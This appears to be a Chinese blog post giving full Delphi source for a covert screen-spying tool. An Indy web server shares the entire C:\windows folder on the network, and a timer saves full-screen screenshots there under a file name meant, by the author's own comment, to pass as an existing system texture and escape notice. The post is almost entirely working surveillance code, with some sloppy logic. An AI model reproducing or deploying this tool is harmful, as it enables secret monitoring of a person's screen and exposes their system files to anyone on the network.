delphi之猥琐的webserver实现

unit Main;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ActnList, StdCtrls, IdComponent, IdTCPServer, IdHTTPServer, Buttons,
  ComCtrls, IdGlobal, IdBaseComponent, IdThreadMgr, IdThreadMgrDefault, syncobjs,
  IdThreadMgrPool, ExtCtrls, IdIntercept, IdIOHandlerSocket,
  IdCustomHTTPServer, idSocketHandle,shellapi, Winsock, jpeg;
{偶承认这里是乱来的，我也不知道都use了啥，填了一堆...-_-!}
type
  TfmHTTPServerMain = class(TForm)
    HTTPServer: TIdHTTPServer;
    edPort: TEdit;
    cbActive: TCheckBox;
    edRoot: TEdit;
    LabelRoot: TLabel;
    Label1: TLabel;
    Button1: TButton;
    Label2: TLabel;
    Timer1: TTimer;
    procedure acActivateExecute(Sender: TObject);
    procedure HTTPServerCommandGet(AThread: TIdPeerThread;
      RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    UILock: TCriticalSection;
    { Private declarations }
  public
    { Public declarations }
    EnableLog: boolean;
    MIMEMap: TIdMIMETable;
  end;
var
  fmHTTPServerMain: TfmHTTPServerMain;
    jiance:Boolean;
implementation
uses FileCtrl, IdStack;
{$R *.DFM}
function GetLocalIP: string;
type
   TaPInAddr = array[0..255] of PInAddr;
   PaPInAddr = ^TaPInAddr;
var
   phe: PHostEnt;
   pptr: PaPInAddr;
   Buffer: array[0..63] of char;
   i: integer;
   GInitData: TWSADATA;
begin
   wsastartup($101, GInitData);
   result := '';
   GetHostName(Buffer, SizeOf(Buffer));
   phe := GetHostByName(buffer);
   if not assigned(phe) then
     exit;
   pptr := PaPInAddr(Phe^.h_addr_list);
   i := 0;
   while pptr^[I] <> nil do
   begin
     result := {Result +}StrPas(inet_ntoa(pptr^[I]^)) + ',';
     inc(i);
   end;
   Delete(Result, Length(Result), 1);
   wsacleanup;
end;{获取IP的函数}
procedure TfmHTTPServerMain.acActivateExecute(Sender: TObject);
var
  Binding : TIdSocketHandle;
begin
  if jiance  then
  begin
    cbActive.Checked:=True;
    jiance:=False;
  end
   else
   begin
    cbActive.Checked:= False;
    jiance:=True;
   end;
  if not HTTPServer.Active then
  begin
    HTTPServer.Bindings.Clear;
    Binding := HTTPServer.Bindings.Add;
    Binding.Port := StrToIntDef(edPort.text, 80);
    Binding.IP := GetLocalIP;
     caption := '已启动';
  end;
  if not DirectoryExists(edRoot.text) then
  begin
    cbActive.Checked:= False;
  end
  else
  begin
    if cbActive.Checked then
    begin
      try
        HTTPServer.Active := true;
      except
        on e: exception do
        begin
          cbActive.Checked := False;
        end;
      end;
    end
    else
    begin
      HTTPServer.Active := false;
       caption := '未启动';
      // SSL stuff
      HTTPServer.Intercept := nil;
    end;
  end;
  edPort.Enabled := not cbActive.Checked;
  edRoot.Enabled := not cbActive.Checked;
 end;
procedure TfmHTTPServerMain.HTTPServerCommandGet(AThread: TIdPeerThread;
  RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);
var
  LocalDoc: string;
  ByteSent: Cardinal;
begin
    LocalDoc := ExpandFilename(edRoot.text + RequestInfo.Document);
    if not FileExists(LocalDoc) then
    begin
      LocalDoc := ExpandFileName(LocalDoc);
    end;
    if FileExists(LocalDoc) then
  begin
        if AnsiSameText(RequestInfo.Command, 'HEAD') then
        begin
           ResponseInfo.ResponseNo := 200;
           ResponseInfo.ContentText := ''+''+'';
        end
        else
        begin
          ByteSent := HTTPServer.ServeFile(AThread, ResponseInfo, LocalDoc);
         end;
  end
  else
    begin
      ResponseInfo.ResponseNo := 404;
      ResponseInfo.ContentText := ''+''+'';
{edPort.Text是你设置的端口，windows目录下是有FeatherTexture.bmp的，为了掩人耳目，弄个差不多的FeatherTexture.jpeg~}
  end;
{这个webserver貌似还有些问题，结构是我从indy的demo上扒下来的，貌似每次返回的都是404代码，所以偶为了防止出问题，采用了上面那段代码，就算是404，404页面也是有图片的，嘿嘿~~}
end;
procedure TfmHTTPServerMain.FormCreate(Sender: TObject);
begin
  jiance:=True;
  UILock := TCriticalSection.Create;
  MIMEMap := TIdMIMETable.Create(true);
    edRoot.text := 'C:\windows';
  if HTTPServer.active then  caption := '已启动' else caption := '未启动';
  Label2.Caption:= '当前IP：'+GetLocalIP;
end;
procedure TfmHTTPServerMain.FormDestroy(Sender: TObject);
begin
  MIMEMap.Free;
  UILock.Free;
end;
procedure TfmHTTPServerMain.Button1Click(Sender: TObject);
begin
ShellExecute(handle,nil,pchar('http://'+GetLocalIP+':'+edPort.Text),nil,nil,sw_shownormal);
end;
procedure TfmHTTPServerMain.Timer1Timer(Sender: TObject);
var
Fullscreen:Tbitmap;
FullscreenCanvas:TCanvas;
dc:HDC;
MyJPEG : TJPEGImage;
begin
Fullscreen:=TBitmap.Create;
Fullscreen.Width:=screen.width;
Fullscreen.Height:=screen.Height;
DC:=GetDC(0);
FullscreenCanvas:=TCanvas.Create;
FullscreenCanvas.Handle:=DC;
Fullscreen.Canvas.CopyRect(Rect(0,0,screen.Width,screen.Height),
fullscreenCanvas,Rect(0,0,Screen.Width,Screen.Height));
FullscreenCanvas.Free;
ReleaseDC(0,DC);
myjpeg:= TJPEGImage.Create;
myjpeg.Assign(Fullscreen);
myjpeg.CompressionQuality:=100; //压缩比例，100是最清晰状态。
myjpeg.Compress;
try
myjpeg.SaveToFile('c:\windows\FeatherTexture.JPEG');//保存路径，可以随便选，但是一定要和上面的webserver路径吻合。
myjpeg.Free;
fullscreen.free;
except
end;
end;
end.